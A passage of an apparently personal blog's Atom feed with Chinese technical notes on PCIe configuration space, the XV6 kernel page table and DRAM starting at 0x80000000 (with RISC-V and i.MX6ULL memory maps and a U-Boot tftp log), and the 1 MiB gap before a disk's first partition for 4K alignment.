&lt;li&gt;负责DLLP包（&lt;code&gt;Data Link Layer Packet&lt;&#x2F;code&gt;）的封装与解封装，此外还负责链接错误检测和校正，使用Ack&#x2F;Nak协议来确保传输可靠；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Physical层&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;负责&lt;code&gt;Ordered-Set&lt;&#x2F;code&gt;包的封装与解封装，物理层处理TLPs、DLLPs、Ordered-Set三种类型的包传输；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;数据包的封装与解封装，与网络包的创建与解析很类似，如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pcie-packet-encapsulation.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;封装的时候，在Payload数据前添加各种包头，解析时是一个逆向的过程；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;来一个更详细的PCIe分层图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pcie-layered-architecture-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-3-pcieshe-bei-de-pei-zhi-kong-jian&quot;&gt;3.3 PCIe设备的配置空间&lt;&#x2F;h2&gt;
&lt;p&gt;为了兼容PCI软件，PCIe保留了256Byte的配置空间，如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pcie-256b-config-space.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此外，在这个基础上将配置空间扩展到了4KB，还进行了功能的扩展，比如Capability、Power Management、MSI中断等：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pci-driver-1&#x2F;pcie-extended-config-space.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;扩展后的区域将使用MMIO的方式进行访问；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;草草收场吧，对PCI和PCIe有一些轮廓上的认知了，可以开始Source Code的软件分析了，欲知详情、下回分解！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>4.5 Kernel Page Table，内存地址为什么从0x8000 0000开始，这是DRAM的开始地址，小于这个地址是IO或者其他的存储类地址_ddr的地址范围为什么不是从0开始</title>
        <published>2025-01-11T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/4.5-kernel-page-table-内存地址为什么从0x8000-0000开始-这是dram的开始地址-小于这个地址是io或者其他的存储类地址_ddr的/"/>
        <id>https://vercel.juzhong.asia/obsidian/4.5-kernel-page-table-内存地址为什么从0x8000-0000开始-这是dram的开始地址-小于这个地址是io或者其他的存储类地址_ddr的/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/4.5-kernel-page-table-内存地址为什么从0x8000-0000开始-这是dram的开始地址-小于这个地址是io或者其他的存储类地址_ddr的/">&lt;h1 id=&quot;4-5-kernel-page-table-nei-cun-di-zhi-wei-shen-me-cong-0x8000-0000kai-shi-zhe-shi-dramde-kai-shi-di-zhi-xiao-yu-zhe-ge-di-zhi-shi-iohuo-zhe-qi-ta-de-cun-chu-lei-di-zhi-ddrde-di-zhi-fan-wei-wei-shen-me-bu-shi-cong-0kai-shi&quot;&gt;4.5 Kernel Page Table，内存地址为什么从0x8000 0000开始，这是DRAM的开始地址，小于这个地址是IO或者其他的存储类地址_ddr的地址范围为什么不是从0开始&lt;&#x2F;h1&gt;
&lt;p&gt;接下来，我们看一下在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=XV6&amp;amp;spm=1001.2101.3001.7020&quot;&gt;XV6&lt;&#x2F;a&gt;中，page table是如何工作的？首先我们来看一下kernel
page的分布。下图就是内核中地址的对应关系，左边是内核的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E8%99%9A%E6%8B%9F%E5%9C%B0%E5%9D%80&amp;amp;spm=1001.2101.3001.7020&quot;&gt;虚拟地址&lt;&#x2F;a&gt;空间，右边上半部分是物理内存或者说是DRAM，右边下半部分是I&#x2F;O设备。接下来我会首先介绍右半部分，然后再介绍左半部分。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;kernel-address-space-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;图中的右半部分的结构完全由硬件
设计者决定。如你们上节课看到的一样，当操作系统启动时，会从地址0x80000000开始运行，这个地址其实也是由硬件设计者决定的。具体的来说，如果你们看一个主板，&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] SiFive HiFive Unleashed（Rev A00）RISC-V 开发板照片，圆圈标出板中央带 SiFive 标志的 FU540 SoC 芯片，板上另可见 8 颗内存颗粒、GigE 网口、microSD 卡槽、调试接口等。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;中间是RISC-V处理器，我们现在知道了处理器中有4个核，每个核都有自己的MMU和TLB。处理器旁边就是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=DRAM&amp;amp;spm=1001.2101.3001.7020&quot;&gt;DRAM&lt;&#x2F;a&gt;芯片。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 同一张 HiFive Unleashed 开发板照片，圆圈标出两处：中央 FU540 SoC 与其下方一排 8 颗 DDR 内存颗粒，用于说明程序地址空间中 DRAM 物理芯片的位置（地址从 0x8000 0000 开始）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;主板的设计人员决定了，在完成了虚拟到物理地址的翻译之后，如果得到的物理地址大于0x80000000会走向DRAM芯片，如果得到的物理地址低于0x80000000会走向不同的I&#x2F;O设备。这是由这个主板的设计人员决定的物理结构。如果你想要查看这里的物理结构，你可以阅读主板的手册，手册中会一一介绍物理地址对应关系
。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] SiFive FU540-C000 手册 Table 6 内存映射前半：0x0 起为 Debug 区、Mode Select、Mask ROM(32KiB)、E51 DTIM(8KiB)、各 Hart ITIM(28KiB)、CLINT(0x0200_0000)、DMA、L2 LIM(32MiB，0x0800_0000 起)、PLIC(0x0C00_0000 起)、PRCI、UART、PWM 等；属性 R&#x2F;W&#x2F;X&#x2F;C&#x2F;A=读&#x2F;写&#x2F;执行&#x2F;可缓存&#x2F;原子。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 同一 Table 6 后半段：I2C、QSPI0-2、GPIO、OTP、Ethernet MAC、DDR Control(0x100B_0000) 等外设；QSPI0&#x2F;1 Flash 各 256MiB（0x2000_0000、0x3000_0000 起）；ChipLink 两段各 512MiB；关键行 DDR Memory 126GiB，范围 0x8000_0000–0x1F_FFFF_FFFF，即 DRAM 从 0x8000_0000 开始映射。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;首先，地址0是保留的，地址0x10090000对应以太网，地址0x80000000对应DDR内存，也就是处理器外的易失存储（Off-Chip Volatile Memory），也就是主板上的DRAM芯片
。所以，在你们的脑海里应该要记住这张主板的图片，即使我们接下来会基于你们都知道的C语言程序---QEMU来做介绍，但是最终所有的事情都是由主板硬件决定的。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;学生提问：当你说这里是由硬件决定的，硬件是特指CPU还是说CPU所在的主板？
Frans教授：CPU所在的主板。CPU只是主板的一小部分，DRAM芯片位于处理器之外。是主板设计者将处理器，DRAM和许多I&#x2F;O设备汇总在一起。对于一个操作系统来说，CPU只是一个部分，I&#x2F;O设备同样也很重要。所以当你在写一个操作系统时，你需要同时处理CPU和I&#x2F;O设备，比如你需要向互联网发送一个报文，操作系统需要调用网卡驱动和网卡来实际完成这个工作。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;回到最初那张图的右侧：物理地址的分布。可以看到最下面是未被使用的地址，这与主板文档内容是一致的（地址为0）。地址0x1000是boot ROM的物理地址，当你对主板上电，主板做的第一件事情就是运行存储在boot ROM中的代码，当boot完成之后，会跳转到地址0x80000000，操作系统需要确保那个地址有一些数据能够接着启动操作系统。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;riscv-virt-memory-map.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里还有一些其他的I&#x2F;O设备：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;PLIC是中断控制器（Platform-Level Interrupt Controller）我们下周的课会讲。&lt;&#x2F;li&gt;
&lt;li&gt;CLINT（Core Local Interruptor）也是中断的一部分。所以多个设备都能产生中断，需要中断控制器来将这些中断路由到合适的处理函数。&lt;&#x2F;li&gt;
&lt;li&gt;UART0（Universal Asynchronous Receiver&#x2F;Transmitter）负责与Console和显示器交互。&lt;&#x2F;li&gt;
&lt;li&gt;VIRTIO disk，与磁盘进行交互。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;地址0x02000000对应CLINT，当你向这个地址执行读写指令，你是向实现了CLINT的芯片执行读写。这里你可以认为你直接在与设备交互，而不是读写物理内存。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;学生提问：确认一下，低于0x80000000的物理地址，不存在于DRAM中，当我们在使用这些地址的时候，指令会直接走向其他的硬件，对吗？
Frans教授：是的。高于0x80000000的物理地址对应DRAM芯片，但是对于例如以太网接口，也有一个特定的低于0x80000000的物理地址，我们可以对这个叫做内存映射I&#x2F;O（Memory-mapped I&#x2F;O）的地址执行读写指令，来完成设备的操作。
学生提问：为什么物理地址最上面一大块标为未被使用？
Frans教授：物理地址总共有2^56那么多，但是你不用在主板上接入那么多的内存。所以不论主板上有多少DRAM芯片，总是会有一部分物理地址没有被用到。实际上在XV6中，我们限制了内存的大小是128MB。
学生提问：当读指令从CPU发出后，它是怎么路由到正确的I&#x2F;O设备的？比如说，当CPU要发出指令时，它可以发现现在地址是低于0x80000000，但是它怎么将指令送到正确的I&#x2F;O设备？
Frans教授：你可以认为在RISC-V中有一个多路输出选择器（demultiplexer）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;接下来我会切换到第一张图的左边，这就是XV6的虚拟内存地址空间。当机器刚刚启动时，还没有可用的page，XV6操作系统会设置好内核使用的虚拟地址空间，也就是这张图左边的地址分布。&lt;&#x2F;p&gt;
&lt;p&gt;因为我们想让XV6尽可能的简单易懂，所以这里的虚拟地址到物理地址的映射，大部分是相等的关系。比如说内核会按照这种方式设置page table，虚拟地址0x02000000对应物理地址0x02000000。这意味着左侧低于PHYSTOP的虚拟地址，与右侧使用的物理地址是一样的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;xv6-kernel-address-space-map.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以，这里的箭头都是水平的，因为这里是完全相等的映射。&lt;&#x2F;p&gt;
&lt;p&gt;除此之外，这里还有两件重要的事情：&lt;&#x2F;p&gt;
&lt;p&gt;第一件事情是，有一些page在虚拟内存中的地址很靠后，比如kernel stack在虚拟内存中的地址就很靠后。这是因为在它之下有一个未被映射的Guard page，这个Guard page对应的PTE的Valid 标志位没有设置，这样，如果kernel stack耗尽了，它会溢出到Guard page，但是因为Guard page的PTE中Valid标志位未设置，会导致立即触发page fault，这样的结果好过内存越界之后造成的数据混乱。立即触发一个panic（也就是page fault），你就知道kernel stack出错了。同时我们也又不想浪费物理内存给Guard page，所以Guard page不会映射到任何物理内存，它只是占据了虚拟地址空间的一段靠后的地址。&lt;&#x2F;p&gt;
&lt;p&gt;同时，kernel stack被映射了两次，在靠后的虚拟地址映射了一次，在PHYSTOP下的Kernel data中又映射了一次，但是实际使用的时候用的是上面的部分，因为有Guard page会更加安全。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;xv6-kernel-stack-guard-page.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这是众多你可以通过page table实现的有意思的事情之一。你可以向同一个物理地址映射两个虚拟地址，你可以不将一个虚拟地址映射到物理地址。可以是一对一的映射，一对多映射，多对一映射。XV6至少在1-2个地方用到类似的技巧。这的kernel stack和Guard page就是XV6基于page table使用的有趣技巧的一个例子。&lt;&#x2F;p&gt;
&lt;p&gt;第二件事情是权限。例如Kernel text page被标位R-X，意味着你可以读它，也可以在这个地址段执行指令，但是你不能向Kernel text写数据。通过设置权限我们可以尽早的发现Bug从而避免Bug。对于Kernel data需要能被写入，所以它的标志位是RW-，但是你不能在这个地址段运行指令，所以它的X标志位未被设置。（注，所以，kernel text用来存代码，代码可以读，可以运行，但是不能篡改，kernel data用来存数据，数据可以读写，但是不能通过数据伪装代码在kernel中运行）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;kernel-page-table-layout.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;学生提问：对于不同的进程会有不同的kernel stack吗？
Frans：答案是的。每一个用户进程都有一个对应的kernel stack
学生提问：用户程序的虚拟内存会映射到未使用的物理地址空间吗？
Frans教授：在kernel page table中，有一段Free Memory，它对应了物理内存中的一段地址。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;xv6-kernel-page-table-free-memory.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;XV6使用这段free memory来存放用户进程的page table，text和data。如果我们运行了非常多的用户进程，某个时间点我们会耗尽这段内存，这个时候fork或者exec会返回错误。
同一个学生提问：这就意味着，用户进程的虚拟地址空间会比内核的虚拟地址空间小的多，是吗？
Frans教授：本质上来说，两边的虚拟地址空间大小是一样的。但是用户进程的虚拟地址空间使用率会更低。
学生提问：如果多个进程都将内存映射到了同一个物理位置，这里会优化合并到同一个地址吗？
Frans教授：XV6不会做这样的事情，但是page table实验中有一部分就是做这个事情。真正的操作系统会做这样的工作。当你们完成了page table实验，你们就会对这些内容更加了解。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;（以下问答来自课程结束部分，以为内容相关就移过来了）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;学生提问：每个进程都会有自己的3级树状page table，通过这个page table将虚拟地址翻译成物理地址。所以看起来当我们将内核虚拟地址翻译成物理地址时，我们并不需要kernel的page table，因为进程会使用自己的树状page table并完成地址翻译（注，不太理解这个问题点在哪）。
Frans教授：当kernel创建了一个进程，针对这个进程的page table也会从Free memory中分配出来。内核会为用户进程的page table分配几个page，并填入PTE。在某个时间点，当内核运行了这个进程，内核会将进程的根page table的地址加载到SATP中。从那个时间点开始，处理器会使用内核为那个进程构建的虚拟地址空间。
同一个学生提问：所以内核为进程放弃了一些自己的内存，但是进程的虚拟地址空间理论上与内核的虚拟地址空间一样大，虽然实际中肯定不会这么大。
Frans教授：是的，下图是用户进程的虚拟地址空间分布，与内核地址空间一样，它也是从0到MAXVA。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;user-process-virtual-address-space.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;它有由内核设置好的，专属于进程的page table来完成地址翻译。
学生提问：但是我们不能将所有的MAXVA地址都使用吧？
Frans教授：是的我们不能，这样我们会耗尽内存。大多数的进程使用的内存都远远小于虚拟地址空间。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;4.5 Kernel Page Table - 知乎&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;270578959&quot;&gt;4.5 Kernel Page Table - 知乎&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一、芯片的基础知识说起
为啥一般的芯片的开始地址是0x80000000，那是因为芯片制造商的想法。
一、地址空间
（1）i.MX6ULL系列芯片
i.MX6ULL 应用处理器内存地址映射表
二、正点原子Linux
开发板
一、芯片的基础知识说起
 MCU、MPU、CPU这些主控芯片，有8位、16位和32位、64位，&lt;&#x2F;p&gt;
&lt;p&gt;为啥一般的芯片的开始地址是0x80000000，那是因为芯片制造商的想法。
一、地址空间
一个颗32位架构的芯片它的寻址空间为:0 ~ 0xFFFFFFFF&lt;&#x2F;p&gt;
&lt;p&gt;大小                                字节              尺寸                        地址范围
2^32（4294967296）    4GB    0x1 0000 0000    0 ~ 0xFFFFFFFF
（1）i.MX6ULL系列芯片
i.MX6ULL 应用处理器内存地址映射表
来源：《IMX6ULL参考手册》
ARM Platform Memory Map&lt;&#x2F;p&gt;
&lt;p&gt;Start address
End address    Size    Description
8000_0000    FFFF_FFFF    2048 MB    MMDC—x16 DDR Controller.
7000_0000    7FFF_FFFF    256 MB    Reserved
6000_0000    6FFF_FFFF    256 MB    QSPI1 Memory
5800_0000    5FFF_FFFF    128 MB    EIM Aliased
5000_0000    57FF_FFFF    128 MB    EIM (NOR&#x2F;SRAM)
1000_0000    4FFF_FFFF    1024 MB    Reserved
0E00_0000    0FFF_FFFF    32 MB    Reserved
0C00_0000    0DFF_FFFF    32 MB    QSPI1 Rx Buffer
0900_0000    0BFF_FFFF    48 MB    Reserved
0800_0000    08FF_FFFF    16 MB    Reserved
02C0_0000    07FF_FFFF    84 MB    Reserved
0230_0000    02BF_FFFF    9 MB    Reserved
0220_0000    022F_FFFF    1 MB    Table 2-4 AIPS-3. See IP listing on the separate map.
0210_0000    021F_FFFF    1 MB    Table 2-3 AIPS-2. See the IP listing on the separate map.
0200_0000    020F_FFFF    1 MB    Table 2-2 AIPS-1. See the IP listing on the separate map.
0181_0000    01FF_FFFF    8128 KB    Reserved
0180_C000    0180_FFFF    16 KB    Reserved
0180_8000    0180_BFFF    16 KB    BCH
0180_6000    0180_7FFF    8 KB    GPMI
0180_4000    0180_5FFF    32 KB    APBH DMA
0180_0000    0180_3FFF    16 KB    Reserved
0120_0000    017F_FFFF    6 MB    Reserved
0110_0000    011F_FFFF    1 MB    Reserved
0100_0000    010F_FFFF    1 MB    Reserved
00F0_0000    00FF_FFFF    1 MB    Reserved
00E0_0000    00EF_FFFF    1 MB    (per_m) configuration port
00D0_0000    00DF_FFFF    1 MB    (cpu) configuration port
00C0_0000    00CF_FFFF    1 MB    GPV_1 PL301
00B0_0000    00BF_FFFF    1 MB    GPV_0 PL301 configuration port
00A0_8000    00AF_FFFF    992 KB    Reserved
00A0_0000    00A0_7FFF    32 KB    ARM Peripherals: GIC400 Only visible to ARM core(s)
009C_0000    009F_FFFF    256 KB    Reserved
0098_0000    009B_FFFF    256 KB    Reserved
0092_0000    0097_FFFF    384 KB    OCRAM aliased
0090_0000    0091_FFFF    128 KB    OCRAM 128 KB
008F_8000    008F_FFFF    32 KB    Reserved
007F_8000    008F_7FFF    1 MB    Reserved
0010_0000    0010_7FFF    32 KB    Reserved
0001_8000    000F_FFFF    928 KB    Reserved
0001_7000    0001_7FFF    4 KB    Boot ROM—Protected 4 KB area
0000_0000    0001_6FFF    92 KB    Boot ROM (ROMCP)
 从上表可以看出，在整个4GB的地址空间内，前2GB的地址空间有其他用处，后2GB的地址空间分配给了内存控制器，所以在操作内存地址的时候都是从0x80000000地址开始的，这其实就限制了该类型（32位架构）的芯片最大支持内存为4GB，而i.MX6ULL芯片所支持的最大的内存为2GB。&lt;&#x2F;p&gt;
&lt;p&gt;二、正点原子Linux开发板
512MB DDR3L
8GB EMMC
大小                  字节                尺寸          地址范围
536870912    512MB    0x2000 0000    0 ~ 0x1FFF FFFF&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;imx6ull-ddr-address-map.png&quot; alt=&quot;&quot; &#x2F;&gt;
对应i.MX6ULL地址映射空间：&lt;&#x2F;p&gt;
&lt;p&gt;字节                  尺寸                 地址范围                    对应
512MB    0x2000 0000    0 ~ 0x1FFF FFFF    0x8000 0000 ~ 0xA000 0000&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;imx6ull-memory-address-map.png&quot; alt=&quot;&quot; &#x2F;&gt;
我在这里的操作：
嵌入式Linux–U-Boot（九）通过TFT&#x2F;NFS网络更新U-Boot、Kernel、DTB文件
可以看到：&lt;&#x2F;p&gt;
&lt;p&gt;=&amp;gt; tftp 80800000 zImage
Using FEC1 device
TFTP from server
192.168.0.120; our IP address is 192.168.0.121
Filename &#x27;zImage&#x27;.
Load address: 0x80800000
Loading: #################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
#################################################################
########
2.4 MiB&#x2F;s
done
Bytes transferred = 6786368 (678d40 hex)
=&amp;gt; tftp 83000000 imx6ull_liefyuan_emmc.dtb
Using FEC1 device
TFTP from server 192.168.0.120; our IP address is 192.168.0.121
Filename &#x27;imx6ull_liefyuan_emmc.dtb&#x27;.
Load address: 0x83000000
Loading: ###
2.1 MiB&#x2F;s
done
Bytes transferred = 38823 (97a7 hex)&lt;&#x2F;p&gt;
&lt;p&gt;下图中 最高的0x1FFF FFFF笔误，应该是0xFFFF FFFF,很明显地址从下到上，按有小到大排列2022.11.29&lt;&#x2F;p&gt;
&lt;p&gt; 从上面可以看到：&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;kernel-page-table&#x2F;imx6ull-dram-memory-map.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;地址0x80800000是从8MB的地方开始的一个内存区域，那前面8MB区域放了些啥玩意？
地址0x83000000是从48MB的地方开始的一个内存区域&lt;&#x2F;p&gt;
&lt;p&gt;地址一：0x83000000
地址二：0x80800000&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>硬盘第1个分区前的1M空间</title>
        <published>2025-01-04T00:00:00+00:00</published>
        <updated>2025-01-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/硬盘第1个分区前的1m空间/"/>
        <id>https://vercel.juzhong.asia/obsidian/硬盘第1个分区前的1m空间/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/硬盘第1个分区前的1m空间/">&lt;h1 id=&quot;ying-pan-di-1ge-fen-qu-qian-de-1mkong-jian&quot;&gt;硬盘第1个分区前的1M空间&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ying-pan-di-1ge-fen-qu-qian-de-1mkong-jian-1&quot;&gt;硬盘第1个分区前的1M空间&lt;&#x2F;h2&gt;
&lt;p&gt;这个话题，涉及到早期硬盘的&lt;code&gt;LBA=63&lt;&#x2F;code&gt;地址，以及后来的&lt;code&gt;硬盘4K对齐&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-shi-1m&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cs.pynote.net&#x2F;hd&#x2F;hdisk&#x2F;202110206&#x2F;#why&quot;&gt;为什么是1M？&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在过去，硬盘的第1个分区总是从LBA=63的位置开始（不知道为什么，也许就是为了留出一点空间出来），MBR在0号扇区（sector 0）。那个时候，硬盘内部的每个sector的size=512字节，这是可接受的。因为这块空间并不是很大！Grub也能够利用这个space gap来存放stage1.5的代码。（参考：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cs.pynote.net&#x2F;sf&#x2F;grub&#x2F;202110205&#x2F;&quot;&gt;Grub启动的3个阶段&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;后来的新硬盘，包括SSD，其内部sector=4096byte，即4KB。SSD这类硬盘没有扇区概念，它们内部使用page。外部程序访问硬盘的时候，只是模拟出512字节的sector。有些SSD内部甚至是8KB的sector。在这种情况下，如果还是从LBA=63的位置开始划分第1个分区，就会出现没有4K对齐的问题。如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;disk-first-1mib&#x2F;lba63-4k-misalignment.png&quot; alt=&quot;lba63&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;sector or page，是硬盘内部读写的最小单位，当一个4K的文件系统边缘没有跟硬盘4K对齐的话，就会出现：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;读一个4K区域，硬盘内部要读2个sector或page&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;写一个4K区域，硬盘内部要写2个sector或page&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这就是文件系统与硬盘没有4K对齐的后果，性能下降！&lt;&#x2F;p&gt;
&lt;p&gt;为了避免这样的情况发生，业界统一将硬盘的第1块分区前，留出1M的空间，&lt;strong&gt;2048个512字节的sector，256个4K的page&lt;&#x2F;strong&gt;。这样，边缘就对齐了，性能就OK了！&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;disk-first-1mib&#x2F;disk-4k-alignment-1mib-gap.png&quot; alt=&quot;4kduiqi&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这就是第1个分区前有1M的空间的原因，这就是fdisk查看分区，起始sector总是显示2048的原因！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ye-bu-quan-shi-1m&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cs.pynote.net&#x2F;hd&#x2F;hdisk&#x2F;202110206&#x2F;#1m&quot;&gt;也不全是1M&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;这个参数在分区的时候，是可配置的。我的移动Fedora就不是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Disk &amp;#x2F;dev&amp;#x2F;sdb: 335.35 GiB, 360080695296 bytes, 703282608 sectors
Disk model:  SL500 360GB
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical&amp;#x2F;physical): 512 bytes &amp;#x2F; 512 bytes
I&amp;#x2F;O size (minimum&amp;#x2F;optimal): 512 bytes &amp;#x2F; 33553920 bytes
Disklabel type: gpt
Disk identifier: B11F9587-9643-4155-B0B4-9815BABC9029

Device       Start       End   Sectors   Size Type
&amp;#x2F;dev&amp;#x2F;sdb1    65535   1245164   1179630   576M EFI System
&amp;#x2F;dev&amp;#x2F;sdb2  1245165   3407819   2162655     1G Linux filesystem
&amp;#x2F;dev&amp;#x2F;sdb3  3407820 703190549 699782730 333.7G Linux filesystem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cs.pynote.net&#x2F;hd&#x2F;hdisk&#x2F;202110165&#x2F;#gpt&quot;&gt;GPT分区&lt;&#x2F;a&gt;，开始扇区的LBA=65535，即32MB。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hidden-sectors&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cs.pynote.net&#x2F;hd&#x2F;hdisk&#x2F;202110206&#x2F;#hidden-sectors&quot;&gt;Hidden Sectors&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在硬盘最前面的这部分空间，也被称为&lt;strong&gt;Hidden Sectors！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
